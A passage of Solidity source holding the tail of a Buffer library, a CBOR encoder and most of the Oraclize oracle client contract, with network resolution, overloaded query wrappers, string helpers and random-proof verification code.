resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
oraclize = OraclizeI(0);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) view internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(abi.encodePacked(delay_bytes8_left, args[1], sha256(args[0]), args[2])));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
